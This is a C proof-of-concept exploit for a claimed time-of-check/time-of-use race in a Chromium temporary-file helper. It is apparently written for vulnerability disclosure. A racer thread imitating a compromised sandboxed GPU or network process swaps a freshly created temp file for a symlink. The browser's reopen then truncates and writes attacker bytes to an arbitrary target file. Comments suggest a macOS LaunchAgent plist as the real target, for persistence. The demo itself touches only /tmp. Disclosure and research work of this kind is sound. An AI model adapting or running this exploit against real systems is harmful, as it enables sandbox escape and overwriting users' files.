// Standalone POC: TemporaryFileGetterHelper mkstemp-then-reopen TOCTOU.
//
// Replicates the EXACT syscall sequence the Chromium browser process performs
// in chrome/services/file_util/public/cpp/temporary_file_getter.cc:14-27 via
// base/files/file_util_posix.cc + base/files/file_posix.cc:
//
//   1. mkstemp(template)                          // base::CreateTemporaryFile
//   2. close(fd)                                  // ScopedFD destructor
//   3. open(path, O_CREAT|O_TRUNC|O_RDWR, 0600)   // base::File::Initialize(
//                                                 //   FLAG_CREATE_ALWAYS|
//                                                 //   FLAG_READ|FLAG_WRITE)
//                                                 // -- NO O_NOFOLLOW
//   4. unlink(path)                               // FLAG_DELETE_ON_CLOSE
//   5. <fd shipped to utility, which writes attacker bytes>
//
// A racer thread (== compromised macOS GPU/network process, which gpu.sb /
// network.sb grant file-write-create + file-write-unlink on the browser's
// _CS_DARWIN_USER_TEMP_DIR) swaps the file for a symlink between (2) and (3).
//
// Result: the browser truncates and writes attacker bytes to the symlink
// TARGET at browser privilege; (4) removes only the symlink so the target
// persists.
//
// Build:  cc -O2 -pthread -o toctou_standalone toctou_standalone.c
// Run:    ./toctou_standalone
//
// Works on Linux and macOS — both share the file_posix.cc implementation.

#define _GNU_SOURCE
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <unistd.h>

static char g_tmpdir[256];
static char g_target[256];
static volatile int g_stop = 0;
static volatile long g_swaps = 0;

// Racer: simulates the compromised sandboxed process. Uses only operations
// permitted by sandbox/policy/mac/gpu.sb:124-128 on darwin-user-temp-dir:
//   file-read*  -> opendir/readdir/lstat
//   file-write-unlink -> unlink
//   file-write-create -> symlink (link path is in the temp dir)
static void* racer(void* arg) {
  (void)arg;
  while (!g_stop) {
    DIR* d = opendir(g_tmpdir);
    if (!d) continue;
    struct dirent* e;
    while ((e = readdir(d))) {
      // Browser's mkstemp pattern: ".<bundle-id>.XXXXXX"
      // (file_util_posix.cc:869-879). Matching the leading-dot prefix is
      // sufficient for an isolated test dir.
      if (e->d_name[0] != '.' || e->d_name[1] == '\0' || e->d_name[1] == '.') {
        continue;
      }
      char full[512];
      snprintf(full, sizeof(full), "%s/%s", g_tmpdir, e->d_name);
      struct stat st;
      if (lstat(full, &st) != 0 || !S_ISREG(st.st_mode)) continue;
      if (unlink(full) == 0 && symlink(g_target, full) == 0) {
        __sync_fetch_and_add(&g_swaps, 1);
      }
    }
    closedir(d);
  }
  return NULL;
}

// One iteration of the browser-side TemporaryFileGetterHelper sequence.
// Returns the fd the browser would ship to the utility, or -1.
static int browser_tempfile_helper(void) {
  // (1) base::CreateTemporaryFile -> CreateAndOpenFdForTemporaryFileInDir
  //     -> mkstemp ; ScopedFD destructor -> close.
  char path[512];
  snprintf(path, sizeof(path), "%s/.org.chromium.Chromium.XXXXXX", g_tmpdir);
  int fd = mkstemp(path);
  if (fd < 0) return -1;
  close(fd);  // ScopedFD goes out of scope (file_util_posix.cc:862-867).

  //                <-- TOCTOU window: racer swaps `path` for a symlink -->

  // (2) base::File::Initialize(path, FLAG_CREATE_ALWAYS|FLAG_READ|FLAG_WRITE|
  //                                   FLAG_DELETE_ON_CLOSE)
  //     -> open(path, O_CREAT|O_TRUNC|O_RDWR, 0600)  (file_posix.cc:573-637)
  //     NO O_NOFOLLOW -> follows the racer's symlink.
  int reopened = open(path, O_CREAT | O_TRUNC | O_RDWR, 0600);
  if (reopened < 0) return -1;

  // FLAG_DELETE_ON_CLOSE -> unlink(path)  (file_posix.cc:658-660).
  // Removes the SYMLINK, not the target -> attacker write persists.
  unlink(path);

  return reopened;
}

int main(void) {
  // Isolated temp dir == macOS _CS_DARWIN_USER_TEMP_DIR, shared between the
  // browser and the GPU/network sandbox.
  snprintf(g_tmpdir, sizeof(g_tmpdir), "/tmp/poc-tempdir.XXXXXX");
  if (!mkdtemp(g_tmpdir)) { perror("mkdtemp"); return 1; }

  // Victim file == e.g. ~/Library/LaunchAgents/com.pwn.plist.
  snprintf(g_target, sizeof(g_target), "/tmp/poc-victim.XXXXXX");
  int tfd = mkstemp(g_target);
  if (tfd < 0) { perror("mkstemp victim"); return 1; }
  const char original[] = "ORIGINAL_VICTIM_CONTENTS";
  write(tfd, original, sizeof(original) - 1);
  close(tfd);

  fprintf(stderr, "[*] shared temp dir: %s\n", g_tmpdir);
  fprintf(stderr, "[*] victim target  : %s\n", g_target);

  pthread_t th;
  pthread_create(&th, NULL, racer, NULL);

  const char payload[] = "ATTACKER_CONTROLLED_LAUNCHAGENT_PLIST_PAYLOAD";
  const int kMaxAttempts = 200000;
  int won = 0, attempt = 0;

  for (attempt = 1; attempt <= kMaxAttempts && !won; ++attempt) {
    int fd = browser_tempfile_helper();
    if (fd < 0) continue;

    // Utility-side write: ZipAnalyzer::ResumeExtraction copies the attacker's
    // ZIP-entry bytes through the fd it received from the browser.
    lseek(fd, 0, SEEK_SET);
    ftruncate(fd, 0);
    write(fd, payload, sizeof(payload) - 1);
    close(fd);

    // Did the browser open the symlink target?
    char buf[256] = {0};
    int vfd = open(g_target, O_RDONLY);
    if (vfd >= 0) {
      ssize_t n = read(vfd, buf, sizeof(buf) - 1);
      close(vfd);
      if (n == (ssize_t)(sizeof(payload) - 1) &&
          memcmp(buf, payload, sizeof(payload) - 1) == 0) {
        won = 1;
      }
    }
  }

  g_stop = 1;
  pthread_join(th, NULL);

  if (won) {
    fprintf(stderr,
            "\n[+] TOCTOU race WON after %d attempt(s), %ld swap(s).\n"
            "[+] Browser-process open(O_CREAT|O_TRUNC|O_RDWR) followed the "
            "racer's symlink and wrote attacker bytes to:\n"
            "[+]   %s\n",
            attempt - 1, g_swaps, g_target);
    // Prove FLAG_DELETE_ON_CLOSE only removed the symlink: target persists.
    struct stat st;
    if (stat(g_target, &st) == 0) {
      fprintf(stderr,
              "[+] Target file still exists (size=%ld) -- "
              "FLAG_DELETE_ON_CLOSE only unlink()'d the symlink path.\n",
              (long)st.st_size);
    }
    char buf[256] = {0};
    int vfd = open(g_target, O_RDONLY);
    read(vfd, buf, sizeof(buf) - 1);
    close(vfd);
    fprintf(stderr, "[+] Target contents: \"%s\"\n", buf);
  } else {
    fprintf(stderr,
            "[-] Race not won in %d attempts (%ld swaps). "
            "Window is small but real -- increase kMaxAttempts.\n",
            kMaxAttempts, g_swaps);
  }

  unlink(g_target);
  rmdir(g_tmpdir);
  return won ? 0 : 2;
}
